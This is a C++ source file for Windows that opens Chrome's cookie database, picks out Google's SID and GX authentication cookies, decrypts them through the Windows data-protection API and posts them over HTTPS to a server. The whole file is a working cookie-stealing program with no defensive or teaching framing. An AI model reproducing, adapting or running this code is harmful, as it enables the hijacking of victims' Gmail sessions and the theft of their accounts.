// 
// Read Chromium's cookie database on Windows.
// Retrieves the Gmail authentication cookies (SID and GX)
// and POSTs them via HTTPS to a server.
//

#include <iostream>
#include <stdio.h>
#include <stdlib.h>
#include <string>
#include <windows.h>
#include <wincrypt.h>

#include "sqlite3.h"
#include "win-http.h"

// Taken from Chromium's source code.
// Modified to use a char* and and length, rather than a std::string,
// to handle null bytes in the encrypted BLOB value from SQLite...
bool DecryptString(const char *ciphertext,
                   const int len,
                   std::string* plaintext)
{
    DATA_BLOB input;
    input.pbData = const_cast<BYTE *>(
        reinterpret_cast<const BYTE *>(ciphertext)
    );
    input.cbData = static_cast<DWORD>(len);
  
    DATA_BLOB output;
    BOOL result = CryptUnprotectData(&input,
                                     NULL,
                                     NULL,
                                     NULL,
                                     NULL,
                                     0,
                                     &output);
    if (!result) {
        return false;
    }

    plaintext->assign(reinterpret_cast<char *>(output.pbData),
                      output.cbData);
    LocalFree(output.pbData);
    return true;
}

void cookies_from_chromium(sqlite3 *db)
{
    sqlite3_stmt *res;
    const char *tail,
               *encrypted_value;
    std::string cookies, name, plaintext;
    int error,
        rec_count = 0;
    
    error = sqlite3_prepare(db,
                            "SELECT name, encrypted_value FROM "
                            " cookies WHERE name IN ('GX', 'SID') AND "
                            "host_key LIKE '%google.com'",
                            1000,
                            &res,
                            &tail);
    
    if (error != SQLITE_OK) {
        printf("We did not get any data!\n");
    } else {
        while (sqlite3_step(res) == SQLITE_ROW) {
            name = (char *) sqlite3_column_text(res, 0);
            encrypted_value = (char *) sqlite3_column_blob(res, 1);
            DecryptString(encrypted_value,
                          sqlite3_column_bytes(res, 1),
                          &plaintext);
            cookies += name + "=" + plaintext + "%3B"; // semicolon
        }
        http_send_data("host=.mail.google.com&value=" + cookies);
    }
    
    
    sqlite3_finalize(res);
}

int main()
{
    sqlite3 *db;
    std::string db_path = std::string(getenv("LOCALAPPDATA")) + 
                    "\\Google\\Chrome\\User Data\\Default\\Cookies";
    
    int error = sqlite3_open(db_path.c_str(),
                             &db);
    if (error) {
        printf("Can't open database: %s\n", sqlite3_errmsg(db));
    } else {
        printf("Opened DB\n");
        cookies_from_chromium(db);
    }
    
    sqlite3_close(db);
}
